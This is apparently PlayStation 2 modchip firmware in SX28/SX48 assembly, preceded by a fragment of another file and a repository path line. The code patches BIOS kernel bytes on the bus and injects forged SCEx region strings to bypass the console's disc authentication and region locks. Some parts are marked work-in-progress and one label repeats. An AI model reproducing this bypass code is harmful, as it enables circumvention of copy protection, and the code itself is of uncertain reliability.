jmp V0_AND_BYTE_SYNC1_L1_sync preload_var clr w ; start 0 as universal run mov VAR_DC2,w mov w,#6 ;6 of bytes to patch after first preloaded total 7 mov VAR_DC3,w mov w,#$03 mov IO_DVD_DATA,w ;first byte preload ready for in to out change patchv0mech snb IO_CDDVD_OE_A_1Q jmp patchv0mech clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,#$1f mov m,w mov w,#$0 ; IO_DVD_DATA goes output mov !IO_DVD_DATA,w RUN_v0patch1 mov w,VAR_DC2 call CDDVD_PATCH_DATA_v0 RUN_CDDVD_PATCH_v0 snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_v0 mov IO_DVD_DATA,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_v0patch1 postpatchv0mecha snb IO_CDDVD_OE_A_1Q jmp postpatchv0mecha mov w,#$ff mov !IO_DVD_DATA,w RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep
1nick9/PS2-Magic-ICE-FINAL-REVERSE	177,042	randomWIPsince-reverse/v0messiah2port/ps2bootonlylanding-skip-logofixonly-pdv-osdsys-logo-testlogofix-mechadvdport.s	;****************************************************************************** ; h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.sxh hash 3158b96dd151bdd71406c4c05b80915e ;**************************************************************************** ;DEFINE ;expermenting defines, not needed. ;SX48RAM = 1 ; unneeded memory remap, has issues with 75k ps1drv, likely some wrong cals ;SX Chip used. SX48 uncomment below. SX28 have commented. SX48 = 1 ; uncomment for compiling for sx48 else is compiled for sx28 F=TR ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. sx28 or this and next define aswell for sx48 E51E9226F0360FBAA2510BDFDA0BC433 ;USE SX48RSTBUMP ONLY FOR SX COMPILING FOR SX48. Both RSTBUMP and SX48RSTBUMP must be on ;SX48RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. for sx48 with RSTBUMP uncommented 4D74D099733ACDDCBB4F046B4258B20C ;V14/V8jap identiy jmpers. if using sx48 needs the trim, sx28 either can go but stock code is without trim ;H2O75KJMPERS = 1 ; uncomment for compiling with restbump for ps1mode. if compiling for rstbmp use one of the sx28/sx48 with h2o v14usa/v14jap/v8jap ident jmpers else use F=TR defines 3158B96DD151BDD71406C4C05B80915E ;SX48H2O75KJMPERSTRIM = 1 ; needed if using h2o jmpers ident with sx48 rstbmp. h needs to go to 5v if not jap console or triggers my cad. D146DFD2DFC6F641029CA7A2A1529DD3 ;USE ONLY IF F=TR or RSTBUMP without H2O75KJMPERS. ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal sx28 0F465F30D6207AF98456841781DEC442 sx48 A7B089F1BEFF0EE9EE002CB378A1D018 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa sx28 0F7BAA63B5735E9A0D7C40BAF4E57A7B sx48 CD93EF4293DA0171269FE8C42E7E6D1E ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap sx28 17F5B31F88A8CF440BF83BB7B52587F4 sx48 8A998B76CC47D7A65D7C61A4F2901570 ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;; checksums 75kps1yfix not updated ;only rstbump v8jap tested but rest should be right IFDEF SX48 device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ELSE device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ENDIF ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) IFDEF SX48 ;regs sx48 VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ELSE ;regs sx28 VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ENDIF ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. JAP_V8 = VAR_SWITCH.2 X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models V0_FLAG = VAR_SWITCH.6 ;V0 10-18K console flag ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 IFDEF SX48 ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $0FFF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip **************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$ff mov !re,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w IFDEF H2O75KJMPERS mov w,#$1e ;; extra needed for io v14jmp mov m,w mov w,#$be mov !IO_CDDVD_BUS,w ;; end extra io v14jmp ENDIF mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ELSE org $07FF reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip ****************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... IFDEF H2O75KJMPERS mode $000E ;? ;; h and f io jmpers needed/extra 75k/v8jap mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w ;; end ENDIF mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ENDIF ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)2560.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- IFDEF SX48 mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ELSE mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ENDIF ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; JAP 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; UK 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- IFDEF SX48 snb USA_FLAG jmp usa ;; idea for space usa flow trigger snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ELSE snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#8;$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#4;$4 mov VAR_DC4,w jmp SCEx_IO_SET SCEx_IO_SET mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ENDIF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC setb V0_FLAG ;;;; snb V0_FLAG jmp BIOS_JAP ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low nop ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop ENDIF mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z ;; alt v0 ident if C jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f ; check if USA JMPER set for v14 jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE setb PSX_FLAG jmp MODE_SELECT_START ; ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e ; 1e 00 63 34 24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************ ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************ ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 ;100 mov VAR_DC2,w ;100+25=125 12.5secs ;test_l3 DISABLE_MODE call DELAY100m ;10secs = DISABLE_MODE but 2.5secs for retap of reset for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;; setb V0_FLAG ;;;; ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb 